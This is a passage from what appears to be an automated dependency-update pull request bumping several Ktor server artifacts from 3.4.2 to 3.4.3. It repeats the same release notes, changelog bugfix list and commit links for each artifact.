href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-status-pages` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-status-pages's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-status-pages's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5d9a99869b6005018fb821828c082d8e4ff05500\"\u003e\u003ccode\u003e5d9a998\u003c/code\u003e\u003c/a\u003e Release 3.4.3 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5547\"\u003e#5547\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6a11a76b9e13302ceea01e8763aa2fdc74ec73be\"\u003e\u003ccode\u003e6a11a76\u003c/code\u003e\u003c/a\u003e KTOR-8989 Close or cancel engine only when the client reference count… (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5525\"\u003e#5525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3acb8ea1ab1738c0ff6fb68f3f0e75024edae2c7\"\u003e\u003ccode\u003e3acb8ea\u003c/code\u003e\u003c/a\u003e KTOR-8938 Inherit server coroutine context in WebSocket session (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5426\"\u003e#5426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/cec7d38a7183c43efa686eed6cad5cf889f37fd0\"\u003e\u003ccode\u003ecec7d38\u003c/code\u003e\u003c/a\u003e Fix flaky test failures on native platforms (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5485\"\u003e#5485\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/bd8bea1c18eba45f150537d223a8aa3c107cb5fb\"\u003e\u003ccode\u003ebd8bea1\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update Jackson to 2.21 and 3.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/5e29515e447d0b825f7e0fe1a60757b433e89c02\"\u003e\u003ccode\u003e5e29515\u003c/code\u003e\u003c/a\u003e KTOR-9507 Update netty to 4.2.12\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/733b8e1b08e1c87a0b731ddd42406c8b2a93e35f\"\u003e\u003ccode\u003e733b8e1\u003c/code\u003e\u003c/a\u003e KTOR-9373 Make ConcurrentMap iteration safe on Native (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5407\"\u003e#5407\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/1f83f21df932ae6b00222ab5241e4bbc93c830e5\"\u003e\u003ccode\u003e1f83f21\u003c/code\u003e\u003c/a\u003e KTOR-9451 Support nested generic types (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5500\"\u003e#5500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/2440990f1085410261b41058815d24d6a9789bba\"\u003e\u003ccode\u003e2440990\u003c/code\u003e\u003c/a\u003e Apache 5 Client. Don't ignore resultCallback (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5526\"\u003e#5526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/430f32098bc3565d2cba6d0dfd06758afba45410\"\u003e\u003ccode\u003e430f320\u003c/code\u003e\u003c/a\u003e Follow-up: KTOR-9497 Preventing a fatal crash in DarwinSession on close (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5533\"\u003e#5533\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.2...3.4.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jvm` from 3.4.2 to 3.4.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.4.3\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca 